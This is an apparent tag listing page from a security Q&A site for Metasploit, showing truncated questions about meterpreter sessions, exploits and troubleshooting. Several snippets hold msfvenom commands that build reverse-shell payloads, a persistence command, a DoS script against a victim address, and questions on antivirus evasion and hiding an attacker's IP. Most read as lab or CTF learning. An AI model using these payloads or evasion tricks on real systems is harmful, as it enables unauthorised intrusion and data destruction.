People who code: we want your input. Take the Survey

Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
0
votes
0answers
46 views

Spoofing IP and/or machine from meterpreter [closed]

I have a meterpreter session with full rights. Is there a way to either spoof my IP address so when I visit a website or whatever, the IP they get is the victim's instead of mine? Also, if possible is ...
0
votes
1answer
92 views

RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)

I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
0
votes
0answers
45 views

Metasploit6 - windows/smb/psexec with EXE::Custom and set DisablePayloadHandler

I'm new to Metasploit and started experimenting with PSEXEC. I generated a payload using msfvenom msfvenom - windows/x64/meterpreter/reverse_tcp -f exe LHOST=192.168.0.15 LPORT=4545 -o shell.exe and ...
0
votes
0answers
50 views

meterpreter command `play` not working

I have created a payload using msfvenom, and after starting msfconsole, I am connected to the victim phone (me). I am able to run all commands but the play command shows an error. I want to play music ...
0
votes
0answers
8 views

How can I generate several exploits in metasploit in a script like manner? [duplicate]

I need to generate several files in metasploit for testing some signatures and normally in metasploit I am required to msfconfole to start the engine and select an exploit using use /path/to/exploit/ ...
0
votes
1answer
165 views

is metasploit under whonix anonymous?

If I run an exploit like EternalBlue with Metasploit on whonix to a remote machine, do I remain anonymous? I think I do because it goes over tor but I am not sure. Am I right?
0
votes
1answer
36 views

Meterpreter: How to invoke commands in a loop for each new connection

I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the ...
2
votes
0answers
43 views

Metasploit opens Meterpreter, but the shell is unresponsive [closed]

I created a payload using msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk signed the apk, sent it to my phone, opened up msfconsole and ran set payload android/...
0
votes
0answers
23 views

Symfonos 2 - meterpreter session of the user LibreNMS

When I try to exploit Symfonos with a command injection using Metasploit, no sessions are created in the process. Is there any reason as to why this happens?
0
votes
0answers
34 views

Meterpreter RPC error

How to solve this error? meterpreter > run persistence -S -i 7 -p 4444 -r 192.168.134.129 [!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence. [!] Example: run exploit/...
0
votes
0answers
26 views

PAtched.Gen2 model detected on a pdf with exe embedded [duplicate]

I'm trying, following some tutorials on the net, to embed an exe inside a pdf file, using metaxploit. The problem is that, upon opening it, on the victim system, the antivirus detects the "TR / ...
1
vote
2answers
521 views

How do I set auto check to override exploit in metasploit?

I was trying to run the bolt CMS exploit. Bolt CMS 3.7.0 - Authenticated Remote Code Execution | php/webapps/48296.py (taken from searchsploit) and it wouldn't work because automatic check which ...
0
votes
0answers
58 views

How to read output of a Reflective DLL?

Reflective DLL Injection is one of the most interesting and best techniques to run custom code in memory. I've been learning about it a lot, I've learned how to pass in inputs, But I can't figure out ...
0
votes
0answers
77 views

metasploit's generic/custom payload

I'm trying to perform some custom & simple post-exploitation actions on a CTF machine. I used exploit/linux/local/sudo_baron_samedit, and it seemed to work: Since I'm looking to run my own code, ...
3
votes
1answer
168 views

- Exploit aborted due to failure: not-found: Can't find base64 decode on target

So. I am having some issues at metasploit. I am trying to exploit exploit/multi/http/wp_crop_rce. I am using Docker, in order to install wordpress version: 4.8.9. PHP 7.2.12 (cli) (built: Nov 28 2018 ...
1
vote
0answers
123 views

PHP reverse shell is not responding back [closed]

I created a php reverse shell using msfvenom utility like: msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php And I created a listener using ...
2
votes
0answers
529 views

Metasploit error - [-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload [closed]

I am trying to run this exploit through metasploit, all done on the same Kali Linux VM. I am trying to attack from my VM to the same VM. https://github.com/rapid7/metasploit-framework/blob/master/...
0
votes
0answers
53 views

Snort throws no alerts at php/meterpreter_reverse_tcp connection?

Snort newbie here. I don't know what I'm doing wrong and I hope someone can help me. I set up snort on a pfSense VM, on the WAN interface i have a Kali VM connected, on the LAN interface there is a ...
0
votes
1answer
167 views

How to use msfvenom elf approach for metasploitable 2?

How to use msfvenom elf approach for metasploitable 2? I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to ...
1
vote
0answers
35 views

apache2 server online, but cannot access it on an Android device [closed]

I am trying to learn Metasploit using Kali Linux on a Virtual Machine. I learned that payloads can be "carried" through an Apache server. But the problem is, when I try to access the Apache ...
1
vote
0answers
55 views

A way to background meterpreter sessions from an autorunscript

I have been trying to figure out a way to script a way to background my auto run scripts. It seems like everything works perfectly fine with the exception of the background command. For example: ...
1
vote
0answers
27 views

Problem using `multi/http/mediawiki_thumb`, possibly due to the `Authorization` header

My target requires the Authorization header with credentials to get into. I have the credentials but the module I'm using (multi/http/mediawiki_thumb) doesn't seem to have an option for Authorization. ...
0
votes
1answer
83 views

Metasploit - Where has JTR gone?

I remember using jtr in metasploit. jtr_crack_fast is no longer available for me along with other jtr commands. Yes i can still get regular jtr stand alone or just git but still. What happen to jtr in ...
0
votes
1answer
49 views

How can I generate a binary from an payload without any other addons?

For example how do I turn the payload/windows/format_all_drives into an exe without any other fancy addons? (I am talking about using msfvenom FYI)
0
votes
2answers
82 views

How to run a meterpreter script multiple times

I have this very simple script to run a rpcbomb script from auxiliary/dos/rpc/rpcbomb for a DOS attack. use auxiliary/dos/rpc/rpcbomb set RHOSTS Victim_IP_Address set RPORT 111 exploit -j -z I want ...
0
votes
2answers
296 views

Making My Own Custom Payload [closed]

I have tried many different tools to avoid being detected by an AV while using meterpreter exploit. Here is a list of tools I have tried: Shellter, Posh C2, Hack the World, Veil, Fat Rat, and many ...
0
votes
1answer
112 views

Hanging on When Sending Stage

I'm new to Metasploit. I set up a multi-handler exploit and also made an EXE file with meterpreter/reverse_tcp payload. Both 3rd party AV and Windows Defender are deactivated. But when the victim (my ...
-1
votes
1answer
62 views

Metasploit shell non-responsive

Metasploit successfully executes the exploit, but after that, I get a non-responsive shell: Do you know what could be the problem here?
1
vote
1answer
70 views

The output format of search in msfconsole

I see the following output from search in msfconsole. msf6 > search CVE-2014-3566 Matching Modules ================ # Name Disclosure Date Rank Check ...
1
vote
1answer
207 views

Penetration test on a infotainment system platform [closed]

I am pentesting an infotainment platform that is still under development. I did a nmap scan (for all ports with option -p-) of the platform and found a few open ports. 111/tcp open rpcbind 3490/tcp ...
1
vote
0answers
130 views

msfvenom: how to output assembly of windows payload for inline assembly in C?

My goal is to obfuscate metasploit windows payloads' assembly code (adding junk code to the payload itself), then adding the obfuscated shellcode to inline assembly in C. The issue is there is no ...
0
votes
0answers
48 views

Metasploit with multiple console instances

On msfconsole, we can share some things across the same workspace on another instance of msfconsole -- for example, services and creds. However, I see that sessions and routes are not shared across ...
0
votes
0answers
31 views

Metasploit payload not working on Android 10 [duplicate]

I tried to create a payload using msfvenom and it doesn't work on Android 10... What can be the possible reason and how to prevent it? And I used Metasploit on Termux to do it so is that a problem?
0
votes
1answer
93 views

Metasploit doesn't find exploit added from exploit-db [closed]

I'm using Metasploit. I tried adding the file 46731.rb to both /usr/share/metasploit-framework/modules/exploits/confluence/46731.rb and ~/.msf4/modules/exploits/msf4/46731.rb. Then I updated the ...
0
votes
0answers
102 views

metasploit: run nmap on compromised host

I have just compromised a computer(legal in my local environment) and want to run nmap from that host to see further inside the network. I know I can use metasploit modules like "auxillary/...
0
votes
0answers
504 views

Meterpreter shell reverse_tcp payload not opening session

I'm using msfvenom to create a payload with a calc.exe file as the template for a windows 7 machine using the HTTPS port. I create the file by using the following: msfvenom -a x86 --platform windows -...
1
vote
1answer
214 views

Pass the Hash & Unix

Purpose: test if PtH (Pass the hash) is feasible against Unix box Scenario: Windows host (Windows Server 2008) vulnerable to eternalblue got Administration hash as part of the post-exploitation ...
0
votes
0answers
134 views

generating payload whith autorun script

i want to generate payload whith persistence script that automatically setuped when victim install the payload in window . I know that a multi/handler allow to set autorunscript and it works fine. the ...
0
votes
0answers
48 views

buffer overflow exploit: vulnserver with additional 20 bytes of data?

Vulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to ...
0
votes
1answer
1k views

What is the difference between SRVHOST and LHOST in metasploit?

What is the difference between SRVHOST and LHOST in Metasploit. I am testing an exploit in my virtual lab of which I had to set both options. LHOST was an option for the payload selected, while ...
0
votes
1answer
3k views

Meterpreter is closing connection - connection died

I am trying to run meterpreter on a vulnerable virtual box (FunBox -CTF) msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.x.x LPORT=443 R > shell.php After i upload the payload, running ...
0
votes
0answers
400 views

After connecting to my backdoor, Meterpreter session is unstable and not usable

I uploaded my backdoor (made using msfvenom) and executed it on the remote machine. I'm able to connect to it using multi/handler , but after a while I get disconnected and then when I try to exploit ...
0
votes
1answer
366 views

Metasploit: Example Exploit for Windows 7 / Windows Server 2016

For testing purposes of a logging solution, I would like to simulate an attack by using Metasploit against a Windows 7 / Windows 2016 server. However, I am struggling to find a reliable exploit that ...
1
vote
1answer
191 views

How to set where the meterpreter payload is placed on the victim machine in metasploit?

Background I am trying to achieve a meterpreter session on a test machine (the "victim") that I already have a shell session on. When I run the command sessions -u #, where # corresponds to ...
0
votes
1answer
325 views

metasploit: how to use linux/http/webmin_backdoor

I am trying to gain access to a server using CVE-2019-15107 with help of metasploit. I tried to find examples of its usage, but I found none. My machines ip is 192.168.109.133. I am connected to a vpn ...
0
votes
0answers
483 views

All encoders failed to encode metasploit

I am trying to use this exploit on HTB : https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi pretty simple yet metasploit gives me an error : all encoders failed to encode I have ...
0
votes
1answer
220 views

How to execute a custom meterpreter payload? [duplicate]

I've hacked a box in an internal network 10.0.0.1 and I want to use 'pass-the-hash attack' on another box 10.0.0.2 but this box has Avira anti-virus installed in, and the common payload windows/...
1
vote
0answers
233 views

Exploiting WebDav [closed]

I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password). The ...
9
votes
1answer
2k views

What is a Payload Handler?

I'm new to the metasploit and in a book it was said that when a reverse shell is used by an attacker, a handler is initiated. I've searched the about it but doesn't found any satisfactory information ...
0
votes
0answers
196 views

Shell from meterpreter not responding to commands

Meterpreter session was created, framework latest. Victim machine: Ubuntu Screenshot of session: I am pretty sure the commands used to work before on the same machine. Shell commands are not working ...

1
2 3 4 5
10